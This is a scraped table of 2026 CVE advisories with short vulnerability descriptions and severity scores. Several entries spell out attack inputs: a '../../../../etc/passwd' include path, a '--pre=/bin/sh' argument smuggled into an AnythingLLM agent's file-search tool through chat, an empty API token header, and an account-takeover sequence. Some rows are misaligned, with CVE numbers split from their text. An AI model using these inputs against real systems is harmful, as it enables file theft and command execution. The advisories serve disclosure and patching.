CVE-2026-47179	Arcane is an interface for managing Docker containers, images, networks, and volumes. Prior to 1.19.4, ProjectService.GetProjectFileContent returns the contents of any Docker Compose include directive declared in a project's compose file before any path-traversal validation runs. Because ProjectService.CreateProject writes attacker-supplied compose content to disk without validating include paths, an authenticated user can create a project whose compose file declares include: ['../../../../etc/passwd'], then read the include via the project file API. The result is arbitrary read of any file readable by the Arcane backend process, including /app/data/arcane.db (the SQLite database containing every user's password hash and API key), enabling escalation to admin and, via Arcane's Docker control plane, RCE on the host. This vulnerability is fixed in 1.19.4.	7.7	More Details
CVE-2026-46426	Budibase is an open-source low-code platform. Prior to 3.38.2, the file upload endpoint POST /api/attachments/process does not enforce active-content restrictions for authenticated users. The checks for dangerous file extensions are conditionally wrapped inside if (isPublicUser) or if (isPublicUser || !env.SELF_HOSTED), meaning any authenticated builder can upload executable web content — SVG files with inline <script> tags, HTML pages with JavaScript, .js modules — which are then stored in the object store (MinIO/S3) with their correct MIME types. When the resulting signed URL is opened by any app user, the browser executes the payload. Impact is persistent stored XSS over all application end users. This vulnerability is fixed in 3.38.2.	7.6	More Details
CVE-2026-49374	In JetBrains TeamCity before 2026.1 improper permission checks exposed build configuration parameters	7.6	More Details
CVE-2026-9809	A stored Cross-Site Scripting (XSS) vulnerability exists in the Projects component of Mautic 7. When displaying project tags and popovers on administrative detail views (such as campaigns, emails, or forms), user-supplied project names are rendered without proper sanitization. An authenticated user with permissions to create or edit projects can exploit this to inject malicious script payloads. When an administrative user views an entity associated with a compromised project and hovers over its tag, the injected script executes within the context of their active browser session. This could allow an attacker to perform administrative actions on behalf of the victim, alter system configurations, or exfiltrate sensitive data.	7.6	More Details
CVE-2026-24782	Kiteworks is a private data network (PDN). Prior to version 9.3.0,ultiple SQL Injection vulnerabilities in Kiteworks Secure Data Forms could be exploited by an authenticated attacker with the FormBuilder role to retrieve information on or modify other users' form definitions and some global configuration parameters. Upgrade Kiteworks to version 9.3.0 or later to receive a patch.	7.6	More Details
	HaPe PKH 1.1 fails to enforce authorization on its record deletion endpoints, allowing unauthenticated		

CVE-2018-25391	attackers to delete arbitrary records by sending a crafted request that specifies the target record's id. The admin/modul/mod_pengurus/aksi_pengurus.php (module=pengurus&act=hapus) and admin/modul/mod_update/aksi_update.php (module=update&act=hapus) endpoints process deletions without verifying the requester's privileges, enabling removal of pengurus (administrator) and update records.	7.5	More Details
CVE-2026-37228	FlexRIC v2.0.0 contains a reachable assertion in e2ap_recv_sctp_msg() (src/lib/ep/e2ap_ep.c). The function allocates a fixed 32KB receive buffer and enforces assert(rc < len) on the sctp_recvmsg() return value. A remote unauthenticated attacker can send a single SCTP message with payload >= 32,768 bytes to crash the near-RT RIC, iApp, E2 Agent, or xApp process via SIGABRT. No valid E2AP PDU is required. All four SCTP endpoint types (ports 36421 and 36422) share this vulnerable code path. In Release builds (NDEBUG), the stripped assertion leads to a signed-to-unsigned integer overflow and potential out-of-bounds read.	7.5	More Details
CVE-2026-9956	Use after free in iOS in Google Chrome on iOS prior to 148.0.7778.216 allowed a remote attacker who convinced a user to engage in specific UI gestures to execute arbitrary code via a crafted HTML page. (Chromium security severity: High)	7.5	More Details
CVE-2018-25408	The Open ISES Project 3.30A contains a path traversal vulnerability in the ajax/download.php endpoint that allows unauthenticated attackers to download arbitrary files by manipulating the filename parameter. Attackers can supply directory traversal sequences ../ in the filename parameter to access files outside the intended directory, including configuration files and system files.	7.5	More Details
CVE-2026-40817	An unauthenticated remote attacker can exploit an unauthenticated SQL Injection vulnerability in the getAlarmProfiles function due to improper neutralization of special elements in a SQL SELECT command. This can result in a total loss of confidentiality.	7.5	More Details
CVE-2026-40818	An unauthenticated remote attacker can exploit an unauthenticated SQL Injection vulnerability in the _mb24confi_getDevice function due to improper neutralization of special elements in a SQL SELECT command. This can result in a total loss of confidentiality.	7.5	More Details
CVE-2026-9990	Use after free in WebAppInstalls in Google Chrome on Mac prior to 148.0.7778.216 allowed a remote attacker who convinced a user to engage in specific UI gestures to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)	7.5	More Details
CVE-2026-9960	Integer overflow in PDFium in Google Chrome prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to execute arbitrary code inside a sandbox via a crafted font file. (Chromium security severity: High)	7.5	More Details
CVE-2026-44635	Kysely is a type-safe TypeScript SQL query builder. From 0.26.0 to 0.28.16, DefaultQueryCompiler.visitJSONPathLeg does not escape JSON-path metacharacters (., [,], *, **, ?). When attacker-controlled input flows into eb.ref(col, '->$').key(input) or .at(input) — including type-safe code where the JSON column is shaped like Record<string, T> so K extends string is the inferred type — every dot becomes a path-leg separator, letting an attacker traverse from the intended key into sibling and child fields the developer never meant to expose. The result is read access (and, in update statements, write access) to JSON sub-fields outside the intended scope across MySQL, PostgreSQL ->$/->>$, and SQLite. This vulnerability is fixed in 0.28.17.	7.5	More Details
CVE-2026-10006	Race in WebAudio in Google Chrome prior to 148.0.7778.216 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)	7.5	More Details
CVE-2026-9757	The GEO my WP plugin for WordPress is vulnerable to SQL Injection via the 'swlatlng' and 'nelatlng' parameters in all versions up to, and including, 4.5.5 The parameters are read from $_SERVER['QUERY_STRING'] via parse_str() (bypassing WordPress's wp_magic_quotes protection, which only covers $_POST/$_GET/$_COOKIE/$_REQUEST), then each is split on ',' via explode() and the resulting fragments are interpolated directly into a SQL BETWEEN clause in gmw_get_locations_within_boundaries_sql() without is_numeric() validation, (float) casting, esc_sql(), or $wpdb->prepare(). This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. Exploitation requires the site to host the Posts Locator search-results shortcode (`[gmw form="results" form_id=N]`) on a public page and to have at least one published post with an associated gmw_location row.	7.5	More Details
CVE-2025-14713	An Exposed Dangerous Method or Function vulnerability in Synology C2 Identity Edge Server package in DSM before 1.76.0-0307 allows remote attackers to obtain user credentials from the edge server.	7.5	More Details
CVE-2026-40819	An unauthenticated remote attacker can exploit an unauthenticated SQL Injection vulnerability in the sync_data24 task due to improper neutralization of special elements in a SQL SELECT command. This can result in a total loss of confidentiality.	7.5	More Details
CVE-2026-9909	Integer overflow in Skia in Google Chrome prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)	7.5	More Details

CVE-2026-10005	Use after free in WebAppInstalls in Google Chrome on Mac prior to 148.0.7778.216 allowed a remote attacker who convinced a user to engage in specific UI gestures to execute arbitrary code via a crafted HTML page. (Chromium security severity: High)	7.5	More Details
CVE-2026-46835	Vulnerability in the Net Service component of Oracle Database Server. Supported versions that are affected are 23.4.0-23.26.2. Easily exploitable vulnerability allows unauthenticated attacker with network access via TLS to compromise Net Service. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Net Service. CVSS 3.1 Base Score 7.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).	7.5	More Details
CVE-2026-9954	Use after free in TabStrip in Google Chrome prior to 148.0.7778.216 allowed a remote attacker who convinced a user to engage in specific UI gestures to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)	7.5	More Details
CVE-2026-49372	In JetBrains TeamCity before 2026.1, 2025.11.5 unauthenticated SSRF via build status was possible	7.5	More Details
CVE-2026-45104	MapServer is a system for developing web-based GIS applications. From 6.4.0 to before 8.6.3, msSLDParseUserStyle always calls _SLDApplyRuleValues(psRule, psLayer, 1); for any <Rule> carrying <ElseFilter/> — it assumes msSLDParseRule added one class. When the rule has no symbolizer (a structurally valid SLD), msSLDParseRule adds zero, and _SLDApplyRuleValues ends up indexing _class[-1], resulting in a NULL pointer dereference. A 200-byte well-formed SLD via the WMS SLD_BODY= parameter is enough to trigger this, no auth required. This vulnerability is fixed in 8.6.3.	7.5	More Details
CVE-2026-37227	FlexRIC v2.0.0 contains reachable assert(0) calls in stub message handlers for whitelisted but unimplemented E2AP message types in the near-RT RIC. A remote unauthenticated attacker can send a decodable E2AP PDU of such a type (e.g., E2nodeConfigurationUpdate) to crash the near-RT RIC process (port 36421) via SIGABRT. The message passes whitelist validation but triggers an unconditional assertion in the handler.	7.5	More Details
CVE-2026-10003	Use after free in Views in Google Chrome prior to 148.0.7778.216 allowed a remote attacker who convinced a user to engage in specific UI gestures to execute arbitrary code via a crafted HTML page. (Chromium security severity: High)	7.5	More Details
CVE-2026-3366	IBM InfoSphere Optim Test Data Fabrication 1.0.0, 1.0.0.1, 1.0.0.2, 1.0.2, 1.0.2.2, 1.0.2.3, 1.0.2.4, 1.0.2.5, 1.0.2.6, 1.0.2.7 could allow a remote attacker to traverse directories on the system. An attacker could send a specially crafted URL request containing "dot dot" sequences (/../) to view arbitrary files on the system	7.5	More Details
CVE-2026-37225	FlexRIC v2.0.0 crashes when the iApp receives an E42_RIC_SUBSCRIPTION_REQUEST with an empty ricEventTriggerDefinition field. The E42 layer decoder accepts this as valid, but the E2AP encoder asserts a non-empty constraint when forwarding the request. A remote unauthenticated attacker can crash the iApp process (port 36422) via SIGABRT by exploiting this cross-layer validation mismatch.	7.5	More Details
CVE-2026-48922	Jenkins Credentials Binding Plugin 720.v3f6decef43ea_ and earlier does not properly sanitize file names for file and zip file credentials, allowing attackers able to provide credentials to a job to write files to arbitrary locations on the node filesystem, which can lead to remote code execution if Jenkins is configured to allow a low-privileged user to configure file or zip file credentials used for a job running on the built-in node.	7.5	More Details
CVE-2026-48921	Jenkins Pipeline: Groovy Libraries Plugin 797.v90ea_a_9b_e45a_0 and earlier does not prohibit symbolic links in shared libraries, allowing attackers able to control the content of a library used by a Pipeline job to read arbitrary files on the Jenkins controller filesystem.	7.5	More Details
CVE-2026-40816	An unauthenticated remote attacker can exploit an unauthenticated SQL Injection vulnerability in the mb24alarm.php files _mb24confi_getTagAlarm function due to improper neutralization of special elements in a SQL SELECT command. This can result in a total loss of confidentiality.	7.5	More Details
CVE-2026-40815	An unauthenticated remote attacker can exploit an unauthenticated SQL Injection vulnerability in the _mb24api_getUserAccount function due to improper neutralization of special elements in a SQL SELECT command. This can result in a total loss of confidentiality.	7.5	More Details
CVE-2026-40814	An unauthenticated remote attacker can exploit an unauthenticated SQL Injection vulnerability in the dataapi.php files _mb24confi_getTagAlarm function due to improper neutralization of special elements in a SQL SELECT command. This can result in a total loss of confidentiality.	7.5	More Details
CVE-2026-40813	An unauthenticated remote attacker can exploit an unauthenticated SQL Injection vulnerability in the getLiveValues functions tagid parameter due to improper neutralization of special elements in a SQL SELECT command. This can result in a total loss of confidentiality.	7.5	More Details
	The Simple History – Track, Log, and Audit WordPress Changes plugin for WordPress is vulnerable to authenticated (Subscriber+) account takeover in all versions up to, and including, 5.26.0 via the event reaction endpoints (react_to_event() / unreact_to_event()). The endpoints register get_items_permissions_check() as their permission_callback, which only verifies the requester is logged in		

CVE-2026-7459	and does not enforce the per-logger capability checks normally applied by Log_Query. As a result, a Subscriber-level user can POST to /wp-json/simple-history/v1/events/<id>/react with the _fields=context query parameter and read the full context of any Simple History event — including SimpleUserLogger entries that record the full password-reset email body (reset URL with the reset key) for any user. The attacker triggers a password reset for an administrator via the lost-password form, brute-forces recent event IDs through the reaction endpoint to read the resulting user_requested_password_reset_link event, extracts the reset key from context.message, and completes the password reset to take over the administrator account. Exploitation requires an administrator to have first enabled the experimental features option (simple_history_experimental_features_enabled), which is not the default.	7.5	More Details
CVE-2026-46834	Vulnerability in the Net Service component of Oracle Database Server. Supported versions that are affected are 23.4.0-23.26.2. Easily exploitable vulnerability allows unauthenticated attacker with network access via TLS to compromise Net Service. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Net Service. CVSS 3.1 Base Score 7.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).	7.5	More Details
CVE-2026-40811	An unauthenticated remote attacker can exploit an unauthenticated SQL Injection vulnerability in the ssoabstractservice due to improper neutralization of special elements in a SQL SELECT command. This can result in a total loss of confidentiality.	7.5	More Details
CVE-2026-44422	FreeRDP is a free implementation of the Remote Desktop Protocol. Prior to 3.26.0, FreeRDP's RDPEAR NDR parser accepts one non-null NDR pointer ref-id for multiple logical pointer fields without tracking the pointed object's expected NDR type or ownership. When the same ref-id is reused across two pointer fields, the parser assigns the same heap object to both output fields. The generic destructor later walks each field independently and destroys/frees both pointers. This causes a malicious-server-triggerable heap use-after-free / double-free in the FreeRDP client's RDPEAR authentication-redirection path. This vulnerability is fixed in 3.26.0.	7.5	More Details
CVE-2026-48116	AnythingLLM is an application that turns pieces of content into context that any LLM can use as references during chatting. Prior to 1.13.0, the filesystem-search-files agent skill passes its LLM-controlled pattern parameter to ripgrep as a positional argument without a -- end-of-options separator. ripgrep parses any argument that starts with - as an option, so a pattern of --pre=/bin/sh turns ripgrep into a script executor: it runs /bin/sh <file> for every file it walks. An attacker who can chat with an agent on a deployment with the filesystem plugin enabled (the default in the official Docker image) can use this, together with the sibling filesystem-write-text-file skill, to run arbitrary commands inside the AnythingLLM server container. This vulnerability is fixed in 1.13.0.	7.5	More Details
CVE-2026-41084	A bug in Apache Airflow's bulk Task Instances API (`PATCH/DELETE /api/v2/dags/{dag_id}/dagRuns/{dag_run_id}/taskInstances`) evaluated authorization against the `dag_id` resolved from the URL path while operating on the `dag_id` / `dag_run_id` extracted from request-body entity fields. An authenticated UI/API user with edit permission on one Dag could mutate Task Instance state in any other Dag by keeping the authorized Dag's ID in the URL path and naming the target Dag's IDs in the request body entities. Affects deployments that rely on per-Dag edit-scope to keep Task Instance state isolated between teams. Users are advised to upgrade to `apache-airflow` 3.2.2 or later.	7.5	More Details
CVE-2026-46527	cpp-httplib is a C++11 single-file header-only cross platform HTTP/HTTPS library. Prior to 0.44.0, When the server has called Server::set_trusted_proxies() with a non-empty trusted-proxy list, an attacker can send an HTTP request that includes an X-Forwarded-For header whose value parses to no valid IP segments. The code path then executes get_client_ip(), which calls front() on an empty std::vector—undefined behavior in C++. On typical implementations this manifests as abnormal process termination (denial of service). With Sanitizers enabled, you get an explicit runtime diagnostic. This vulnerability is fixed in 0.44.0.	7.5	More Details
CVE-2026-45088	Dalfox is a powerful open-source XSS scanner and utility focused on automation. Prior to 2.13.0, when dalfox is run in REST API server mode, the custom-payload-file field in model.Options is JSON-tagged and deserialized directly from the attacker's request body, then propagated unchanged through dalfox.Initialize into the scan engine. The engine passes the value to voltFile.ReadLinesOrLiteral, which reads lines from any file path accessible to the dalfox process and embeds each line as an XSS payload in outbound HTTP requests directed at the attacker-controlled target URL. Because the server has no API key by default, an unauthenticated network attacker can exfiltrate the contents of arbitrary files on the dalfox host by reading them line-by-line through scan traffic. This vulnerability is fixed in 2.13.0.	7.5	More Details
CVE-2026-46599	The TIFF decoder does not place a limit on the size of PackBits-compressed data. A maliciously-crafted image can exploit this to cause a small image (both in terms of pixel width/height and encoded size) to make the decoder decode large amounts of compressed data.	7.5	More Details
CVE-2026-40964	Authentication Bypass in cf-auth-proxy in Cloud Foundry Foundation all installations allows an unauthenticated remote attacker to gain read access to every log and metric for every application and platform component via minting a JWT that the cf-auth-proxy accepts as a valid logs.admin token. Affected versions: - log-cache_release: all versions through v3.2.6 (inclusive); fixed in v3.2.7 or later - CF Deployment: all versions through v55.?.0 (inclusive); fixed in v55.?.0 or later (bundles log-cache_release v3.2.7)	7.5	More Details

CVE-2026-37226	FlexRIC v2.0.0 crashes when the iApp receives an E42_RIC_SUBSCRIPTION_REQUEST referencing a non-existent E2 Node. The lookup function returns NULL, which is enforced by assert() in Debug builds (SIGABRT) and dereferenced in Release builds (SIGSEGV). A remote unauthenticated attacker can crash the iApp process (port 36422) by sending a subscription request with an arbitrary global_e2_node_id.	7.5	More Details
CVE-2026-47123	FreeScout is a free help desk and shared inbox built with PHP's Laravel framework. Prior to 1.8.220, the email processing pipeline in FreeScout's FetchEmails command has two code paths for identifying agent (user) replies based on In-Reply-To / References headers. The notification reply path (notify-{thread_id}-{user_id}-...) extracts thread_id and user_id directly from the Message-ID without HMAC verification. An external attacker who can spoof the From address of a helpdesk agent can inject messages that FreeScout processes as legitimate agent replies — which are then automatically forwarded to customers via the legitimate SMTP server. This vulnerability is fixed in 1.8.220.	7.5	More Details
CVE-2026-45090	Dalfox is a powerful open-source XSS scanner and utility focused on automation. Prior to 2.13.0, ParameterAnalysis in pkg/scanning/parameterAnalysis.go runs two sequential worker stages that both write to the same results channel. The channel is correctly closed after the first stage completes (close(results) at line 438), but the second stage — which processes POST-body parameters (dp) — is then launched with the same already-closed channel as its output. When a scanned parameter is reflected, processParams executes results <- paramResult on the closed channel, triggering a Go runtime panic that crashes the entire dalfox process. In server mode, the crash is remotely triggerable by any unauthenticated caller who can reach the REST API, because the default configuration has no API key and the second stage activates whenever options.Data != "" (i.e., the attacker supplies the data field) and the target reflects at least one parameter. This vulnerability is fixed in 2.13.0.	7.5	More Details
CVE-2025-70099	A NULL pointer dereference in the ext4_dir_en_get_name_len function in include/ext4_dir.h of lwext4 1.0.0 allows attackers to cause a denial of service by supplying a specially crafted EXT4 filesystem image with malformed directory entries. During directory iteration, the code may fail to validate the directory entry pointer before accessing the name_len field, resulting in a segmentation fault. This affects versions based on (or equivalent to) the 2016-era codebase (1.0.0).	7.5	More Details
CVE-2026-46829	Vulnerability in Oracle REST Data Services (component: Mongoapi). Supported versions that are affected are 24.2.0-26.1.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTPS to compromise Oracle REST Data Services. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle REST Data Services. CVSS 3.1 Base Score 7.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).	7.5	More Details
CVE-2026-42677	Missing Authorization vulnerability in Ben Balter WP Document Revisions allows Exploiting Incorrectly Configured Access Control Security Levels. This issue affects WP Document Revisions: from n/a before 4.0.0.	7.5	More Details
CVE-2026-9963	Uninitialized Use in iOS in Google Chrome on iOS prior to 148.0.7778.216 allowed a remote attacker who convinced a user to engage in specific UI gestures to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)	7.5	More Details
CVE-2026-35672	phpMyFAQ before 4.1.3 contains an authentication bypass vulnerability in API v4.0 where the default empty api.apiClientToken allows unauthenticated users to create and modify FAQ entries. Attackers can send an empty x-pmf-token header to bypass token validation and inject malicious content via POST endpoints /api/v4.0/faq/create, /api/v4.0/category, and /api/v4.0/question.	7.5	More Details
CVE-2026-45017	Python Liquid is a Python engine for the Liquid template language. Prior to 2.2.0, the built-in FileSystemLoader and CachingFileSystemLoader do not guard against reading files outside their search paths when given an absolute path to resolve. This allows malicious template authors to load and render arbitrary files via the {% include %} and {% render %} tags. Targeted files would need to contain valid Liquid markup and be readable by the application process. This vulnerability is fixed in 2.2.0.	7.5	More Details
CVE-2026-10009	Integer overflow in Skia in Google Chrome prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)	7.5	More Details
CVE-2026-44325	free5GC is an open-source implementation of the 5G core network. Prior to 4.2.2, free5GC's NRF root SBI endpoint POST /oauth2/token contains a parser-level type-confusion bug family. The handler in NFs/nrf/internal/sbi/api_accesstoken.go reflects over models.NrfAccessTokenAccessTokenReq, special-cases only plain string and NrfNfManagementNfType fields, and treats every other field as if it were a single models.PlmnId. The parsed *models.PlmnId is then assigned with reflect.Value.Set() to whichever field name the attacker put in the form body, which panics whenever the destination field's real type is incompatible (slice, different struct, primitive). Gin recovery converts each panic into HTTP 500, but the endpoint remains remotely panicable from a single unauthenticated form-encoded request and is repeatedly triggerable. This vulnerability is fixed in 4.2.2.	7.5	More Details
CVE-2026-	Automad is a flat-file content management system and template engine. From 2.0.0-alpha.1 to 2.0.0-beta.27, a Broken Access Control vulnerability allows an unauthenticated attacker to retrieve the bcrypt password hash of every administrator account with a single POST request. The /_api/user-collection/create-first-user	7.5	More Details

45332	setup endpoint remains publicly accessible once initial configuration is complete and returns full serialized user data in the JSON response body. This vulnerability is fixed in 2.0.0-beta.28.		
CVE-2026-42674	Authentication Bypass by Spoofing vulnerability in AAM Plugin Advanced Access Manager allows URL Encoding. This issue affects Advanced Access Manager: from n/a through 7.1.0.	7.5	More Details
CVE-2026-44322	free5GC is an open-source implementation of the 5G core network. Prior to 4.2.2, free5GC's NEF PATCH /3gpp-pfd-management/v1/{afId}/transactions/{transId}/applications/{appId} handler panics with a nil-pointer dereference when the upstream UDR call fails AND the consumer wrapper returns err != nil together with a nil *ProblemDetails. The handler's errPfdData != nil branch builds its own problemDetailsErr correctly, but immediately after it reads problemDetails.Cause (the OTHER value, which is nil in this branch) and panics. Gin recovery converts the panic into HTTP 500, so a single PATCH against this endpoint returns 500 instead of the intended controlled error response whenever UDR access is failing. This vulnerability is fixed in 4.2.2.	7.5	More Details
CVE-2026-44321	free5GC is an open-source implementation of the 5G core network. Prior to 4.2.2, free5GC's SMF mounts the UPI management route group without inbound OAuth2 middleware. The POST /upi/v1/upNodesLinks create-or-update handler accepts attacker-controlled JSON and passes it directly into UpNodesFromConfiguration(), which calls logger.InitLog.Fatalf(...) on several validation failures. One confirmed path is the UE-IP-pool overlap check: a single unauthenticated POST that adds a new UPF whose pool overlaps an existing UPF terminates the entire SMF process (docker ps shows Exited (1)), not just the goroutine. This vulnerability is fixed in 4.2.2.	7.5	More Details
CVE-2026-48151	Budibase is an open-source low-code platform. Prior to 3.39.0, the webhook schema-building endpoint is registered under builderRoutes, but the generic authorization middleware skips authorization for all paths matching /api/webhooks/schema. As a result, an unauthenticated caller can update the body schema for a known webhook and mutate the corresponding automation trigger output schema. This vulnerability is fixed in 3.39.0.	7.5	More Details
CVE-2026-44319	free5GC is an open-source implementation of the 5G core network. Prior to 4.2.2, free5GC's NEF terminates the entire process when a stored PFD-subscription notifyUri cannot be reached. In PfdChangeNotifier.FlushNotifications(), the notifier calls NnefPFDmanagementNotify(...) and on any delivery error invokes logger.PFDManageLog.Fatal(err), which is os.Exit(1)-equivalent in Go. An attacker who can create a PFD subscription with an attacker-chosen notifyUri and then trigger a PFD change can deterministically kill NEF on the asynchronous delivery attempt -- the process exits with status 1, dropping NEF's entire SBI surface until restart. This vulnerability is fixed in 4.2.2.	7.5	More Details
CVE-2026-41565	CryptX versions before 0.088_001 for Perl have a stack buffer overflow in four AEAD decrypt_verify helpers. The gcm_decrypt_verify, ccm_decrypt_verify, chacha20poly1305_decrypt_verify and eax_decrypt_verify XS routines copied the caller-supplied authentication tag into a fixed 144-byte stack buffer (MAXBLOCKSIZE) without checking the supplied length. A longer tag overwrites the stack past the buffer. Version 0.088 added the clamp to gcm_decrypt_verify, and 0.088_001 added it to the other three. Any caller of an affected helper that forwards an attacker-controlled tag longer than the buffer can trigger the overflow.	7.5	More Details
CVE-2026-44594	esm.sh is a no-build content delivery network (CDN) for web development. In 137 and earlier, a Local File Inclusion (LFI) vulnerability exists in the esbuild plugin's handling of the browser field in package.json. An attacker can publish an npm package that causes the server to read and return arbitrary files from the host filesystem during the build process.	7.5	More Details
CVE-2026-44316	free5GC is an open-source implementation of the 5G core network. Prior to 4.2.2, free5GC's PCF POST /npcf-smpolicycontrol/v1/sm-policies handler (HandleCreateSmPolicyRequest) panics with a nil-pointer dereference when a downstream OpenAPI consumer call (UDR lookup) returns 404 Not Found and the consumer wrapper returns err != nil together with a nil response struct. The handler logs the OpenAPI error and continues executing instead of returning, then dereferences the nil response struct on a subsequent line and panics. Gin recovery converts the panic into HTTP 500, so a single attacker-shaped POST returns 500 instead of a clean 4xx whenever the downstream lookup fails. The PCF process keeps running. The trigger is a single POST containing input that causes the downstream UDR lookup to fail (e.g. an unknown DNN). In 4.2.1 this endpoint is also reachable WITHOUT an Authorization header because the PCF Npcf_SMPolicyControl route group is mounted without inbound auth middleware. This vulnerability is fixed in 4.2.2.	7.5	More Details
CVE-2026-42673	Insertion of Sensitive Information Into Sent Data vulnerability in Logtivity Activity Logs Activity Logs, User Activity Tracking, Multisite Activity Log from Logtivity allows Retrieve Embedded Sensitive Data. This issue affects Activity Logs, User Activity Tracking, Multisite Activity Log from Logtivity: from n/a through 3.3.6.	7.5	More Details
CVE-2026-42459	free5GC is an open-source implementation of the 5G core network. Prior to 4.2.2, the free5GC UDM component fails to validate the supi path parameter in six GET handlers of the nudm-sdm (Subscriber Data Management) service. An unauthenticated attacker can inject control characters into the SUPI parameter, causing UDM to forward a malformed request to UDR and return a 500 Internal Server Error response that exposes internal infrastructure details. This vulnerability is fixed in 4.2.2.	7.5	More Details
CVE-	An unauthenticated remote attacker can exploit an unauthenticated SQL Injection vulnerability in the		

2026-40812	getLiveValues functions sn parameter due to improper neutralization of special elements in a SQL SELECT command. This can result in a total loss of confidentiality.	7.5	More Details
CVE-2026-48544	Taipy 4.1.1, fixed in commit 129fd40, contains a path traversal vulnerability in the ElementLibrary.get_resource() method in taipy/gui/extension/library.py that allows unauthenticated attackers to escape the intended module directory by exploiting an incomplete path containment check using str.startswith() without a trailing path separator. Attackers can send crafted GET requests with path traversal segments targeting a prefix-matching sibling directory on disk, bypassing the directory containment check because Flask's path converter and Werkzeug's WSGI layer preserve the traversal segments while the resolved path still satisfies the flawed startswith comparison, enabling unauthorized file access outside the intended library directory.	7.5	More Details
CVE-2026-45047	bird-lg-go is a BIRD looking glass in Go. Prior to 1.4.5, the apiHandler (and similarly webHandlerTelegramBot) processes user-provided JSON payloads by directly using json.NewDecoder(r.Body).Decode(&request) without restricting the maximum read size. An unauthenticated remote attacker can stream an extremely large, endless JSON payload (e.g., several Gigabytes of padding) over a single TCP connection. Because Go's JSON decoder attempts to allocate memory for the entire parsed structure, this rapidly exhausts the host's physical RAM or container limits, leading to an unrecoverable fatal error: runtime: out of memory. This vulnerability is fixed in 1.4.5.	7.5	More Details
CVE-2026-10069	A vulnerability has been found in Shibby Tomato 1.28. The impacted element is an unknown function of the file usr/sbin/miniupnpd. Such manipulation leads to resource consumption. The attack may be launched remotely. This project is superseded by FreshTomato. This vulnerability only affects products that are no longer supported by the maintainer.	7.5	More Details
CVE-2026-45944	In the Linux kernel, the following vulnerability has been resolved: iommu/vt-d: Clear Present bit before tearing down context entry When tearing down a context entry, the current implementation zeros the entire 128-bit entry using multiple 64-bit writes. This creates a window where the hardware can fetch a "torn" entry — where some fields are already zeroed while the 'Present' bit is still set — leading to unpredictable behavior or spurious faults. While x86 provides strong write ordering, the compiler may reorder writes to the two 64-bit halves of the context entry. Even without compiler reordering, the hardware fetch is not guaranteed to be atomic with respect to multiple CPU writes. Align with the "Guidance to Software for Invalidations" in the VT-d spec (Section 6.5.3.3) by implementing the recommended ownership handshake: 1. Clear only the 'Present' (P) bit of the context entry first to signal the transition of ownership from hardware to software. 2. Use dma_wmb() to ensure the cleared bit is visible to the IOMMU. 3. Perform the required cache and context-cache invalidation to ensure hardware no longer has cached references to the entry. 4. Fully zero out the entry only after the invalidation is complete. Also, add a dma_wmb() to context_set_present() to ensure the entry is fully initialized before the 'Present' bit becomes visible.	7.5	More Details
CVE-2026-10108	xiaomusic v0.5.7 contains an unauthenticated path traversal vulnerability in the GET /music/{file_path:path} endpoint that allows unauthenticated attackers to read arbitrary files outside the intended music directory by exploiting an incomplete path prefix check. Attackers can request files from sibling directories whose names share the music_path prefix by crafting traversal sequences, bypassing the path restriction due to the missing trailing separator in the comparison logic to retrieve arbitrary files from the server.	7.5	More Details
CVE-2026-45859	In the Linux kernel, the following vulnerability has been resolved: netfilter: nfnetlink_queue: do shared-unconfirmed check before segmentation Ulrich reports a regression with nfqueue: If an application did not set the 'F_GSO' capability flag and a gso packet with an unconfirmed nf_conn entry is received all packets are now dropped instead of queued, because the check happens after skb_gso_segment(). In that case, we did have exclusive ownership of the skb and its associated conntrack entry. The elevated use count is due to skb_clone happening via skb_gso_segment(). Move the check so that its peformed vs. the aggregated packet. Then, annotate the individual segments except the first one so we can do a 2nd check at reinject time. For the normal case, where userspace does in-order reinjects, this avoids packet drops: first reinjected segment continues traversal and confirms entry, remaining segments observe the confirmed entry. While at it, simplify nf_ct_drop_unconfirmed(): We only care about unconfirmed entries with a refcnt > 1, there is no need to special-case dying entries. This only happens with UDP. With TCP, the only unconfirmed packet will be the TCP SYN, those aren't aggregated by GRO. Next patch adds a udpgro test case to cover this scenario.	7.5	More Details
CVE-2026-44883	Portainer Community Edition is a lightweight service delivery platform for containerized applications that can be used to manage Docker, Swarm, Kubernetes and ACI environments. From 2.33.0 to before 2.33.8, 2.39.2, and 2.41.0, Portainer's authentication middleware accepts JWT bearer tokens passed as the ?token=<JWT> URL query parameter on any authenticated API endpoint, in addition to the standard Authorization: Bearer header. URLs are recorded in reverse-proxy access logs, browser history, and HTTP Referer headers on outbound navigation, so any JWT passed this way can be harvested by anyone with access to those logs or by an external site the user subsequently visits. A leaked token grants the full privileges of the user it was issued to, until the token expires (default 8 hours, configurable). The ?token= parameter was used by Portainer's browser-based container attach, exec, and pod shell features, so any user with exec or attach rights on a container was exposed — not only administrators. This vulnerability is fixed in 2.33.8, 2.39.2, and 2.41.0.	7.5	More Details
	In the Linux kernel, the following vulnerability has been resolved: netfilter: nf_conncount: increase the		

